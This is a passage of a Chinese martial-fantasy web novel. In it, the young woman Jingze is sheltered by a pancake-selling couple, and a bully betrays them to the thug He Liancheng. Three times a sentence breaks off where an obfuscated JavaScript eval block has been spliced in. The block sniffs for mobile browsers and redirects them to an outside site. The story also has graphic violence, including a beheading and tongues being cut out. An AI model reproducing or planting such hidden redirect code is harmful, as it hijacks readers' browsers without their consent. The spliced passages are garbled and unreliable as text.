妇人自称春娘,与丈夫阿贵相依为命,靠着这间烧饼铺子勉强糊口。生意不算好,但胜在有几个老主顾,日子倒也过得下去。 春娘将她领进屋里,掌了灯。昏黄的灯火跳了跳,映出一间不大的堂屋,桌椅虽旧,却擦得干干净净。桌上摆着一只粗陶花瓶,插着几枝不知名的野花,给屋子凭添了几分生气。灶台上温着一壶水,咕嘟咕嘟冒着热气,满屋都是柴火的暖香。 “姑娘还没吃饭吧?我给你热两个烧饼去。”春娘说着就要往灶间走。 “伯母,不麻烦了……”景泽忙道。 “不麻烦不麻烦,正好你阿伯多做了几个。”春娘摆摆手,不一会儿便端上来两只热腾腾的烧饼,还配了一碗小米粥,“慢点吃,别烫着。” 景泽道了谢,捧起烧饼咬了一口,外酥里软,麦香扑鼻。她几乎要落下泪来,她已经记不清上一次坐在桌边、安安稳稳地吃上一顿热饭是什么时候了。 春娘坐在她对面,也不说话,就那么笑眯眯地看着她吃,目光温柔得像在看自己的孩子。 听春娘说,景泽才知道,这对夫妻原本是有个女儿的,取名丫丫,养到始龀年纪,就被拍花子给掳走了。城主府兵丁找到时,丫丫已被拍花子吃进了肚子里,只剩下一堆白骨。春娘伤心欲绝,身体越来越差,再不能生育,好在阿贵一直不离不弃,不知不觉,已经二十多个年头过去了。 待景泽吃饱喝足,春娘才领着她去了里屋,说是她女儿丫丫从前的房间。屋子不大,一张木床,一张小桌,窗台上还摆着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494337|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个落了灰的泥娃娃。春娘手脚麻利地铺了床,又端来一盆洗脚水。 “伯母,我来就行!”景泽慌忙站起来,从春娘手中接过木盆,心里又暖又愧。 春娘直起腰,在一旁坐下,看着她把双脚泡进温水里,笑着问:“水温还合适吧?我兑了些凉水,怕烫着你。” “合适,很合适。”景泽点点头,“伯母快去歇息吧,我自己来就好。叨扰您和阿伯,我已经很过意不去了。” “没事。”春娘的目光落在她脸上,像是在看她又像是在看很远的地方,“我就想多看看你,多陪你聊聊。我们家丫丫要是还在,如今都比你大了。我瞧见你啊,就跟瞧见丫丫一样,心里欢喜。就让伯母多看你一会儿吧。” 景泽鼻头一酸,没有再推拒。她想念阿爹娘亲兄长的心情,与春娘想念女儿的心情,原是一样的。若是她遇着一个与娘亲长相相似的人,怕也会忍不住多看几眼,多说几句话,幻想着若是他们还活着,该有多好。 灯火摇曳,一老一少絮絮而谈,直至后半夜。 景泽这才知道,城南近日祸事连连。先是接连有人失踪,活不见人死不见尸;后有泼皮无赖公然闯店寻衅,殴伤数名店主。商贩们怎敢与亡命之徒相抗,宁可闭门歇业,也不愿以卵击石。众人只盼这阵风波早日平息,好重操旧业。 “那你们生计怎么办?”景泽问道。她太知道没钱的滋味了。 春娘警惕地往窗户瞧了一眼,确认窗门关严实了,才压低声音说:“其实也不是一点进项都没有。你阿伯认得苏家的买办,每日夜里悄悄给苏家送烧饼,这事没几个人晓得。姑娘不必替我们担心。” 景泽点了点头,心中了然。 见景泽一个哈欠接一个哈欠,眼角都沁出了泪花,春娘知她困了,便起身让她早些歇息。走到门口,又回过头来。 “姑娘若不急着赶路,就在这儿多住几日吧。这些天城南不太平,等风头过了再走也不迟。” 景泽心下感动,加上确实无处可去,便应了下来。 春娘替她吹灭了蜡烛,轻轻带上了门。 屋内陷入一片沉寂,只有窗外老树的枝丫在月光下投下摇曳的影子,在窗纸上缓缓划过。 景泽太久没有睡过真正的床了,脑袋刚沾上枕头,便沉沉睡去。 她睡得很香,甚至还打起了呼噜。 月轮升至中天,清辉如练,遍洒一室银白。一只骨节分明修长有力的手,悄然抚上景泽额角。 指尖微光一闪,那道被碎瓷划破的伤口,竟在瞬息间愈合如初,不留半分痕迹。 纥奚时砚立于榻前,斗笠早已摘下,露出那张英挺清隽的面容。白日里那副虬髯满面、风尘仆仆的模样,原是伪饰。 他静静凝视着景泽的睡颜。鼾声震响,口角尚挂涎水,白日里那少年竟会觉得她好看?仅凭皮相么? 诚然貌美,却与他心中之美迥异。 男人唇角微扬,以指腹轻轻拭去她唇边湿痕。 他是师尊,她是徒儿。 他是男人,她是女孩。 他是尊长,她是晚辈。 无论如何,他都不该再留于此地,与她独处一室。 确认她身上伤势尽数痊愈,周身安稳无虞之后,男人敛尽一身气息,悄无声息地退了房门。 身形隐入庭院沉沉的树影暗处,一如过往无数个默默守护的夜晚,安安静静守在屋外,替她挡去世间所有风雨惊扰,只远远护着这一室酣眠。 8. 灶台温余热,荒径骤明索命灯 这日午后,日头斜斜地从窗棂间射将进来,洒在案板之上,金光点点。 阿贵袖口挽至肘弯,守在灶前,手持长筷,不紧不慢地翻着锅中的烧饼。 景泽在一旁学着,手忙脚乱地将面团揉成剂子,又以擀面杖压作圆饼。虽则大小参差、厚薄不匀,倒也有几分模样。 春娘坐在门槛上择菜,不时抬眼望望灶前二人,嘴角含笑,眼中尽是温存之意。 景泽将一只压歪了的烧饼递将过去,笑嘻嘻地道:“伯父伯母,你们就不怕我把做烧饼的法子学了去,到时候在你们这条街上开家铺子,抢你们的生意?” 阿贵接过烧饼,熟练地贴进锅里,呵呵一笑:“别说抢生意了,我夫妻就是将这家铺子送与你,也不打紧!我二人这把年纪,算来也卖不了几年了。只盼你日后能多来看看我们,便心满意足了。” 景泽心中一阵发热,正色道:“伯父放心,我往后必定常来探望。” 春娘听了,笑得合不拢嘴,将手中菜蔬往盆里一搁,起身便要去拆那包好了预备送往苏家的烧饼:“那今晚这烧饼你先尝尝,我挑几个好的……” “不必了,伯母!”景泽连忙摆手,“这都包好了的,拆开多费事。我这几天吃的烧饼,比这辈子吃的都多,再吃下去,只怕要变成烧饼了。” 春娘被她逗得直笑,阿贵也咧开了嘴。灶间的热气裹着麦香,将三人的笑声熏得暖洋洋的。 正说笑间,院门忽然“砰砰砰”地被人拍响。那敲门声又急又重,透着一股蛮横之气。 春娘的笑容登时凝在脸上,飞快地竖起一根手指压在唇上,先看了阿贵一眼,又看了景泽。这手势,多半是比给景泽看的。 阿贵不待她提醒,早已敛了笑意,侧耳倾听。 寻常时候,敲门的人听得里头没动静,敲上几下也就罢了。可这一回,足足过了一刻钟,那敲门声竟未曾停歇,一下接着一下,像是铁了心要将门叫开。 春娘无奈,只得走到门前,隔着厚重的门板扬声问道:“谁啊?” “婶子,是我!刘杰!” 一道尖细的声音从门外飘进来。 春娘的脸色霎时变了。她回头向阿贵使个眼色,阿贵会意,快步走到灶前熄了火,扯过一块粗布,将刚烙好的烧饼严严实实地盖住。 春娘这才拔开门闩,将门拉开一条缝。 一个身量中等偏瘦的男人闪身而入。那人约莫三十来岁,皮肤黝黑,一张脸窄而长,颧骨高耸,下巴尖削,活脱脱像只成了精的狐狸。最惹眼的是那双眼睛,又细又长,眼珠子骨碌碌乱转,一进门便四下打量,似在盘算什么。 “杰子,你怎么有空来婶子这儿了?”春娘赔着笑脸,“如今外面多不太平,路上若遇到个好歹可怎么好?你也知道,咱们这儿接二连三地失踪了好些人,至今尚未寻着……” 刘杰不接她的话茬,自顾自地往院里走。那双细长的眼睛扫过灶间,扫过案板,最后落在墙角那堆盖着粗布的烧饼上,嘴角微微抽了一下。 “婶子装什么。”他回过头,似笑非笑地道,“我要是有个三长两短,不就没人跟你们的烧饼铺子抢生意了么?放眼整条街,谁不知道我刘家烧饼铺总是压你们一头?” 春娘的笑容僵在脸上,嘴唇动了动,挤出几句话来:“杰子,你说哪里话。你也知道,我跟你阿贵叔不过是混口饭吃,哪管生意好不好?何况你们刘家烧饼铺,别说这条街,就是整个城南也是叫得出名号的,我们就是想抢,也不够格啊。” 这话捧得恰到好处,刘杰的脸色果然和缓了些。他哼了一声,不再理会春娘,晃晃悠悠地朝灶间走去。 灶间不大,他几步便跨了进去。目光一扫,忽然顿住了。 只见厨房里头竟还有一个姑娘! 那一瞬间,刘杰的眼睛猛地亮了,如饿狼见了鲜肉一般,眼珠子几乎要粘在景泽身上。他上上下下地打量对方,从头到脚,又从脚到头。 “我说婶儿啊,”他舔了舔嘴唇,声音都变了调,“你这里几时雇了这么个水灵的姑娘?” 阿贵一生在街市上混,最懂男人的心思。刘杰这话一出口,他便知此人存了什么龌龊念头。当下大步一跨,将景泽严严实实地挡在身后,沉声道:“把你那些歪心思收回去!休得打她的主意!” “哎哟!叔啊,不带你这样的罢?” 刘杰拍了拍胸口,做出一副伤心欲绝的模样。 “侄儿我今年三十了尚未娶妻,您可是看着我长大的,再怎么说也是我的长辈。做长辈的,怎么忍心看着我至今还是孤家寡人一个?” 他说着,竟绕过阿贵,伸长脖子去瞧他身后的景泽,涎着脸笑道:“妹妹,我家一年卖饼挣的可多了!不如你跟了我罢?我包你每日吃香的喝辣的!再者,我告诉你一个秘密……” 他的头越凑越近,声音越压越低,低到几乎只有景泽一人能听见:“我的活儿又长又粗,包你天天下不来床……” 这话忒也混账。阿贵勃然大怒,抬手便去推他。可他的手尚未碰到刘杰的衣角,刘杰已然发出一声杀猪般的惨叫。 “啊啊啊啊啊!” 只听得“咔嚓”一声骨节脆响,刘杰的双手已被景泽反剪到了身后。那动作快如闪电,连阿贵也未能看清她是如何出手的。 景泽冷冷地看着手下被制住的男人,“你方才说什么?再说一遍。” 刘杰疼得冷汗直冒,两条腿不住打颤,嘴里哆哆嗦嗦地道:“没、没说什么!我什么都没说!姑娘你听错了!真的什么都没说!” 他认怂之快,委实令人咋舌。景泽嫌恶地松开手,一脚踹在他屁股上,将他踹得踉跄了好几步,险些扑倒在地:“滚!” 刘杰站稳身子,脸上青一阵白一阵,他不敢再招惹景泽,却狠狠地瞪了阿贵一眼,转身便走。 春娘正从屋里取了银子出来,预备像往常一般塞给刘杰将他打发了,迎面撞上刘杰铁青着脸朝外走去,一时怔住:“怎么了杰子?怎么刚来就要走?且慢,这是婶儿的一点心意,快收下……” 她追上去,将银子往刘杰怀里塞。 刘杰一把夺过银子,下一刻,竟猛地一推,将春娘推倒在地。 “伯母!”景泽急欲冲出去。 “都进去!”春娘厉声喝住了她,又朝阿贵喊道,“都进去待着!放心,他奈何不了我!” 景泽还要再说什么,被阿贵一把拉住。阿贵低声道:“莫担心,她应付得来。” 那刘杰瞧着就非善茬,春娘一个年过半百的妇人如何能应付? 景泽正欲辩解,忽地瞧见阿贵脸上的坚定,那坚定之色不假,可能春娘真没她想的弱吧。 刘杰歪着脑袋蹲下身来,与春娘平视。他的声音压得极低:“我说婶儿啊,别以为我不知道,这些天你们每日夜里都往苏家送烧饼。大家说好了这段时日谁都不许开门做生意,你们家怎么搞特殊呢?你说我要是说出去,大家会怎么看你们家?这条街还容得下你们么?” 春娘的脸色霎时白了,连身子都在微微发抖。她颤抖着抓住刘杰的袖子,恳求道:“杰子,算婶儿求你了,别把这事说出去。你就看在这些年婶儿待你不薄的份上,帮婶儿守住这个秘密,好不好?” 刘杰眯起眼睛,瞳孔中闪过一丝狡黠的光。他慢悠悠地摸着下巴,故作沉思之状,过了好一会儿才开口:“嗐,要我不说也行,咱们邻里之间互相帮衬,原是应当的。这样罢,婶儿,我给你两个选择。” 他竖起一根手指:“第一,我要苏家的生意。从今而后,苏家的烧饼由我铺子来送。” 又竖起第二根手指:“第二,你把屋里那姑娘送给我。我正好缺个媳妇儿。” 他挑着眉,饶有兴致地看着春娘。 时间仿佛凝固了,春娘跪坐在冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494338|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,十指几乎要扣进泥土里,半晌说不出一个字。 自家的生意本就不算好,加上刘杰三天两头来索钱,日子过得紧巴巴的。苏家是难得的大主顾,每日夜里那笔进项,是夫妻俩活命的根本。若没了这桩生意,往后的日子可怎么过? 可那姑娘,那姑娘才与他们相处了半个月。虽非亲非故,可这些日子一起和面、一起烙饼、一起说笑,她早已将景泽当成了自己的孩子。 难道真要为了保住生意,把一个清清白白的姑娘推进火坑? “嗯?想好了没有?”刘杰哼笑着,上前拍拍春娘的脸,眸中满是下流之色。 春娘闭上眼,深深吸了一口气。再睁开时,她的目光变得清明而坚定。 “我选第二个。”她说。 刘杰愣了一下,随即哈哈大笑起来。他满意地点点头,站起身来,拍掉膝盖上的灰:“婶儿,谢谢你和叔的成全,往后咱们就是亲上加亲了。说好了,我明儿一早就带人来接新娘子。到时候婶儿你可别说话不算话,否则的话,后果可是你和叔都担待不起的。” 他说完,扬长而去。 春娘在地上坐了许久,久到双膝都麻了。阿贵从灶间走出来,默默扶起她,什么也没说,只是用力握了握她的手。 · 半夜,月隐云后,四野漆黑。 景泽躺在床上,翻来覆去睡不着。 自己留在这里,当真不是给他们添麻烦么?不如偷偷走了罢? 正想着,门外忽然传来轻悄悄的脚步声。 景泽赶忙拉上被子,闭上眼,装作睡熟了的样子。 门被轻轻推开了。春娘蹑手蹑脚地走进来,来到床前,借着窗外微弱的月光,细细地看了景泽一会儿,方才轻声唤道:“阿泽。” 景泽“迷迷糊糊”地睁开眼,揉了揉眼睛。 “快快快,别睡了,快起来!”春娘的声音压得极低,却透着掩不住的急切。 景泽一头雾水地坐起身来,春娘从怀里摸出一个鼓鼓囊囊的钱袋,硬塞进景泽手里,又转身从衣柜里翻出一件半旧的斗篷,手忙脚乱地往景泽身上披。她的眼睛红红的,声音发颤:“快,你带上这些银子,跟你伯父从后门走,不然天亮了就走不了了。” 景泽愣愣地看着她:“为什么?发生什么事了?” “是伯母对不住你。”春娘的眼泪终于掉了下来,一颗一颗砸在手背上,“下午那会儿,刘杰逼我选,我……我为了保住苏家的生意,答应了他,要把你许给他。可我这心里啊,从答应下来的那一刻起,就没安稳过。我翻来覆去想了一整夜,越想越觉得自己不是人。伯母真的做不到把你送出去……你信伯母,你拿着银子走罢,走了就别回来了……” 景泽怔怔地看着她,过了半晌,她握住春娘粗糙的手,轻声道:“伯母,我不怪你。你们必有你们的难处。君子论迹不论心,你们收留我、给我饭吃、给我地方住,这份恩情,我一辈子都记着。” 春娘听了,哭得更凶了,一把将景泽搂进怀里,便如搂着自己的亲生女儿一般。 · 后门处,阿贵早已披上斗篷,戴好斗笠,在那里等候多时了。 他手里提着一盏遮了布的小灯笼,只漏出豆大一点光。见春娘领着景泽过来,他点了点头,什么也没说,只伸手接过景泽手中的包袱。 春娘将景泽的手交到阿贵手里,用力握了握,千言万语都咽进了肚子里:“快走。” 阿贵拉着景泽,转身便走。 不料,他们刚走出数步,前方黑黢黢的巷子尽头,忽然亮起了一点火光。 紧接着,两点、三点、十点、二十点火把接二连三地亮了起来,便如一只只睁开的眼睛,将那条唯一的去路照得明如白昼。 有人影在火光中晃动,正朝这边慢慢逼近。 阿贵当机立断,猛地拉住景泽,掉头便往回跑! 9. 画壁暗悬青衫影,铁衣重叩死生门 四面八方灯笼火把涌至,不下数十枝,将春娘烧饼铺围得跟铁桶似的。橘红的焰苗在夜风中猎猎飞舞,映得半条巷子亮如白昼,也将那些来者的身影拖得又长又扭曲。 阿贵从门缝中觑了一眼,心头不由得一沉。那些人个个身着玄铁软甲,手持三尺青锋,显是经过严格训练的悍卒。 为首那人锦袍玉带,体态臃肿,十个指头上戴着四五枚金玉扳指,正是那日在庆元春对着景泽行凶的贺连城。 这贺连城半夜里正搂着美人酣睡,忽有一支羽箭破窗而入,堪堪擦着他颈边飞过。美人吓得尖声惊叫,贺连城睡意全无,细看箭杆,竟还缠着一张纸条,上面写着:“你要找的人,在沧溟城南。” 他这段日子本就因景泽从庆元春逃脱而气得七窍生烟,发誓掘地三尺也要将这丫头片子揪出来,此刻哪管纸条上的消息是真是假,当即点齐人马,直奔沧溟城南而来。 阿贵回头与春娘目光相接,刹那之间,心意已然相通。 “跟我来!”阿贵不再迟疑,左手一把抓住景泽手腕,右手已将房门带上。他拉着景泽穿过灶房,来到卧房之内,反手掩上门扉。 门外已是脚步杂沓,沉重的皮靴踏在青石板上,发出闷雷般的响声。 阿贵大步流星走到墙角那只老旧衣柜前,双臂运劲,竟将那沉重之物缓缓推开。柜脚与地面摩擦,发出一阵刺耳之声。景泽欲要相助,却被阿贵一个眼神止住。 衣柜移开,露出其后平平无奇的一面墙壁。阿贵蹲下身去,手指在墙根处摸索片刻,忽听得“咔哒”一声轻响,那墙竟向内凹陷,现出一道仅容一人通行的暗门。 “快进去!”阿贵压低嗓音催促道。 门外拍门之声已起,有人厉声喝道:“开门!开门!” 景泽心中挣扎,她若躲入此处,岂非将这对老夫妻置于险地? 正迟疑间,阿贵急得额上青筋暴起,伸手在她背上轻轻一推。 景泽咬了咬牙,矮身钻入暗门。身后传来阿贵的嘱咐:“好生在此躲避,不论外间有何动静,切莫出来!”话音未落,暗门“砰”的一声阖上,最后一丝光亮也被隔绝在外。 四周顿时陷入伸手不见五指的黑暗。景泽心跳陡然加剧,咚咚咚地撞击着胸腔。她伸手摸索暗门,触手之处尽是冰凉坚硬的石壁,毫无缝隙可寻。 原来此门只能由外开启。 景泽定了定神,伸手扶住墙壁,一步步向前摸索。暗道狭窄曲折,头顶不时有尘土簌簌落下,脚下却铺得甚是平整,显是精心修筑而成。 行了一盏茶时分,前方忽有微光透入。景泽当即加快了脚步,转过一道弯,眼前豁然开朗。 只见一间四四方方的密室,约莫四五十丈见方。四壁皆是青灰色石砖砌成,砖缝间填以白灰,虽年深日久,却无半点蛛网尘埃;壁上嵌着数盏铜灯,火光稳定,将整间密室照得温暖如春;空气中弥漫着淡淡檀香,混着纸墨与木器的干燥气息,显是常有人来。 密室中央那面墙上,悬挂着一幅比真人还高大的画像。 景泽不由自主地停下脚步。 那画像实在画得传神,画中是个青年男子,侧身坐于书案之前,一手支颐,双目微阖,似是困倦已极,沉沉睡去,姿态闲适自然。 景泽走近细观,但见画中之人眉如远山,鼻若悬胆,薄唇微抿,纵是闭目养神,亦难掩其风华绝代。身着一袭青色长衫,腰间系着布带,除却这身素服,再无半点佩饰,根本看不出是何等身份。若非生得这般俊逸出尘,放在人堆里怕是转眼就找不见了。 可就是这样一幅画,却被如此郑重其事地悬挂在密室之中。 景泽目光下移,见画像下方设着一张红木供桌,桌上置一青铜香炉,炉中香灰堆积如山。香炉旁摆着几只白瓷碟,盛着新鲜果品,有红枣、雪梨,还有一小串紫葡萄。旁边叠着几册旧书,书脊磨损得厉害,却无半点尘垢。 景泽信手翻开最上面那本,见封面上题着《长歌宗弟子日志集》七字。 她心中一动,长歌宗?这对卖烧饼的老夫妻,怎会与长歌宗有关? 再回头看那画像,画中人依旧双目紧闭,睡得正酣。 莫非那画中之人是长歌宗的弟子?可这又与这卖烧饼的夫妻有何关系?难道是卖烧饼夫妻的恩人?又或是他们崇拜的神明? 景泽将书放回原处,目光在密室中缓缓扫过。墙角立着个小书架,上面整整齐齐码着数十册书,书脊上标着年月。书架旁设着一张小几,上置白瓷茶壶一把,倒扣的茶杯一只,壶嘴还冒着丝丝热气。 这里的一器一物,无不井然有序,纤尘不染,显是主人用了心的。 景泽的目光最后又落回那幅画像上。画中人的眉眼在烛光下若隐若现,恍惚间竟似隔着一层薄雾,不似凡间之人。 正在此时,外间忽然传来喧哗之声。 那声音隔着墙壁与暗道,虽然模糊,却也能辨出个大概。有人在怒喝,有人在咒骂,其间夹杂着兵刃交击之声。 景泽的心绪被猛地拽了回来。 · 院中,阿贵手持一柄通体乌黑的长剑,将春娘护在身后。 春娘站在他身后,发丝在夜风中微微飘动,面上虽是平静,眼中却似有暗流涌动。 他们对面,黑压压地站着数十名甲士,将院门堵得水泄不通。 须臾,刘杰被人从人群中一脚踹出,踉跄几步,扑倒在阿贵脚边。他浑身筛糠似的抖个不停,面色惨白,嘴唇哆嗦,一个字也说不出来。 人群自动分开,让出一条路来。 一个胖大老者从后面踱步而出,正是贺连城。他斜着三角眼,上上下下打量着阿贵和春娘,好半晌才哼笑一声,慢条斯理地开口:“你不是说那小贱人就在此处么?”说着偏头瞥了刘杰一眼,那目光不轻不重,却让刘杰更加胆寒。 贺连城收回目光,朝身后一挥手,懒洋洋地道:“去,给老子搜。把那丫头片子给老子带出来。” “是!”数十人齐声应诺,声如雷霆,震得院中树叶簌簌作响。 “且慢。”春娘忽然开口,声音不大,却清清楚楚地传入每个人耳中。 贺连城抬手止住正要行动的手下,饶有兴味地看向她。 春娘从阿贵身后走出,在火光映照下,她容颜明灭不定,眼中无半分惧色,反而透着一股坦荡从容: “这世道虽是乱了,可大人半夜三更持械闯入民宅,于情于理,总说不过去。”她语速不疾不徐,缓缓说道,“我夫妻二人在这条街上做烧饼买卖二十余载,街坊四邻皆可作证。这些年来,只有我们两个,从未收留过什么女子。” 说着,她目光往刘杰那边一扫。 那目光冷如刀锋,带着一种刘杰从未见过的杀意。刘杰被那目光一刺,背心猛地窜上一股凉意,张了张嘴,竟半个字也吐不出来。 ——他和这对夫妻做了二十年邻居,直到今日方知,他们竟是会武之人!看那握剑的姿势,看那站桩的沉稳,绝非市井中三脚猫的把式! 贺连城捻着指上的扳指,慢慢转动着,目光在春娘和阿贵身上来回逡巡。他面上虽无表情,那双三角眼里却多了几分玩味。 “当真如此?”他拖长了声调,目光如刀子般刮过刘杰头顶。 刘杰恨不得自己此刻瞎了。他双腿止不住地发抖,牙齿咯咯作响,结结巴巴地道:“不、不是的……她胡说……大人,她胡说!” “你!”阿贵提剑大步上前,眼中杀机毕露。 刘杰吓得魂飞魄散,连滚带爬地躲到贺连城身后,死死抓住他的衣摆,声音都变了调:“大人救命啊!小的句句属实!昨日小的亲眼所见!那女子就住在他们家!他们肯定把人藏起来了!大人一搜便知!大人!” 话音未落,屋内忽然传出一声巨响。 “砰!” 那声音沉闷而有力,像是什么重物被击碎,在这寂静的夜里显得格外刺耳。众人皆是一愣,目光齐刷刷地投向屋内。 贺连城与身旁的手下对视一眼,彼此眼中都闪过一丝了然。他嘴角缓缓上扬,抬手朝身后一挥:“随我来。” 数十人鱼贯而入,黑压压地挤开阿贵和春娘,直往屋里闯。阿贵的手握紧了剑柄,指节发白,却被春娘一个眼神按住了。 后门口,只留下阿贵、春娘,以及瘫软在地的刘杰。 刘杰没了倚仗,立马跪倒在地,双手合十,涕泪横流:“叔!婶!饶了我吧!方才你们也看见了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494339|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是被逼的啊!他们人多势众,刀都架在脖子上了,我不敢不说实话啊!” 阿贵眉宇间杀气凝聚,居高临下地看着脚下这个不断磕头求饶的人。月光照在他脸上,将他的表情映得忽明忽暗。 十年了。 这十年里,刘杰隔三差五上门滋扰,要银子、抢生意、欺他们无儿无女。他和春娘忍了十年,装聋作哑了十年,每次都好言好语地哄着,拿银子将他打发。不是怕他,是不想惹事,不想暴露身份,只想安安稳稳地过日子。 可如今,武功已经暴露。再装下去,也没什么意思了。 阿贵缓缓扬起手中长剑,剑身在月光下划出一道清冷的弧线。 一蓬热血溅在地上,紧接着,一颗头颅骨碌碌滚了出去,撞在青砖上,停了下来。脸上的表情还保持着求饶时的模样,涕泪横流,双眼圆睁,仿佛到死都不相信,那个任他欺负了十年的老实人,真的会拔剑杀人。 阿贵收剑入鞘,动作干净利落,没有多看一眼。 春娘站在他身后,看着那颗头颅,面上无悲无喜。 她更担心的,是屋里那些人。 “他们会找到阿泽么?”春娘低声问道。 阿贵转过身,看着屋内透出的火光,沉默了片刻,然后用力握了握春娘的手,宽慰道:“放心。便是他们找到了那道暗门,也决计打不开。 · 暗室里,景泽怔怔地看着手中那柄断成两截的长剑,心中五味杂陈。 先前,她从密室里找到了两把佩剑,一把上面刻着“星河二字”,一把刻着“长明”二字,不论是材质还是款式,几乎一模一样,显然是一对。 所以,这对佩剑应该是那对夫妻的吧。所以,那对夫妻才是真正的长歌宗弟子。但,既然是宗门弟子,又为何在市井中靠卖烧饼为生?为何在密室中供奉着那样一张画像? 太多问题需要回答。 那柄刻着“星河”二字的长剑,此刻已在她手中断为两截。她知道这对夫妻有多珍视这两把剑,剑鞘上包着布套以防尘,剑身擦拭得一尘不染,连剑穗都是上好的丝线编织而成。 遗憾的是,这样珍重的物件,就这么断了一把在她手里。 可方才她实在太急了。她想到春娘和阿贵在外面替她抵挡,想到那个恶霸带来的人马不知有多少,就一刻也站不住。 她只是想出去助他们一臂之力。 谁知这剑看着锋利,砍在暗门上却如砍在精钢之上,几剑下去,剑身便承受不住,从中断裂。 景泽叹了口气,俯身去拾那些碎片,手指刚碰到冰凉的剑刃,外面忽然传来了脚步声。 那脚步声很重,很杂。有皮靴踏在木板上的声音、有兵器碰撞的声音、有男人粗声大气的吆喝声,混成一片,越来越近,越来越清晰。 景泽猛地站起身,屏住呼吸。 须臾,脚步声在她面前停了下来。 此时此刻,她与那些人只隔着一扇暗门。 “声音就是从这柜子后面发出来的!”有人在门外大声说,语气甚是笃定,“里面有暗室!人肯定就藏在里面!” 景泽的心提到了嗓子眼,不自觉地将断剑的剑柄握得更紧。密室的壁灯还在安静地燃烧,将她的影子投在墙上,微微晃动。 暗门外,贺连城慢条斯理地踱到柜子前,捻着扳指,不紧不慢地转了两圈,道:“把柜子移开。” 手下领命,动作麻利地将柜子挪开。 柜子后面是一面墙。青灰色的墙砖,与两边的墙面别无二致,严丝合缝,看不出任何破绽。手下们面面相觑,有人伸手敲了敲,传来的也是沉闷的实音,听不出空心。 贺连城眯起眼睛,走到墙前,伸出肥厚的手指,一寸一寸地摸过那些砖缝。他的动作很慢,摸得格外仔细。 “你确定,声音是从这里发出来的?”他头也不回地问。 “属下确定!”那手下单膝跪地,声音洪亮,“属下敢以项上人头担保!” 贺连城“嗯”了一声,收回手,掏出一块丝帕,仔仔细细地擦了擦手指,擦完后,他将帕子随手一扔,转过身来。 “去。”他朝门外命令,“把那对夫妻给我带进来,让他们把这扇暗门打开。” 10. 义士舍身酬故旧,堕仙燃目涤冤尘 贺连城麾下,俱是江湖亡命之徒,出手狠辣,招式之间配合得天衣无缝。 春娘与阿贵夫妇二人,虽称得上武艺不凡,但终究双拳难敌四手,不过十余合,已是险象环生,渐落下风。那伙人显然是得了严令的,出手不留余地,刀光拳影如狂风骤雨般袭来,直逼得二人连连后退,守势渐颓。 不过半刻功夫,二人已被擒入内室。 两名悍匪上前,反剪其臂,以浸过桐油的牛筋索牢牢缚住。另一名喽啰自腰间取出一只墨绿瓷瓶,拔开塞子,往二人小腿各滴了两滴汁液。 春娘与阿贵脸色骤变。 是半步果的汁液!此物沾肤即麻,使人寸步难移,毒性发作或迟或速,短则半月,长则终生残废,端看所沾分量与毒性强弱而定。 不过瞬息之间,二人双腿已然麻木,知觉尽失。“咚”的一声闷响,双膝重重磕在青砖地上。 贺连城将掌心贴于墙壁之上,缓缓摩挲,阴森森道:“那丫头片子此时就在这里面吧?” 阿贵心头剧震,春娘却强自镇定,道:“大人此言差矣。此处乃我夫妇寝居之所,哪来的什么暗门?莫非大人真以为我会将不相干的女子藏于墙中?我与那女子素昧平生,何必多此一举?直接将人献与大人,于我岂非更有利?” 这话确实挑不出什么毛病。 贺连城捻着拇指上的翡翠扳指,手指微微一顿。 那先前以项上人头作保的手下心急如焚,单膝跪地,朗声道:“大人明鉴!属下愿以性命担保,那紫檀木柜之后必有蹊跷!里头究竟有无其人,一试便知!” 贺连城沉吟片刻,微微颔首。 那手下大喜,凑近贺连城耳边,低语数句。 春娘与阿贵心中凛然,不知对方又在施何诡计。 待那手下说完,贺连城轻描淡写地一挥手:“动手。” 立时有两名彪形大汉上前,一人一边,强行掰开二人下颌。春娘拼命摇头,阿贵怒目圆睁,奈何双腿已废,双手被缚,如何挣得脱? 刀光一闪,血光迸现。 两截断舌滚落在尘埃之中,兀自弹跳了两下。 剧痛如狂涛怒浪般席卷而来,春娘与阿贵同时发出“呜呜”的凄厉嘶吼。 二人欲抬手捂住血流如注的创口,却被绳索死死勒住,动弹不得。鲜血顺着下巴汩汩流下,在昏黄的烛光下显得格外刺目。 贺连城眉头微蹙,被这怪叫声搅得心烦意乱。他偏过头,问那献策的手下:“此法当真可行?” 那手下斩钉截铁:“千真万确!” 春娘挣扎片刻,终因失血过多,眼前一黑,昏厥过去。阿贵强撑着,用肩头抵住妻子,没让她倒下。 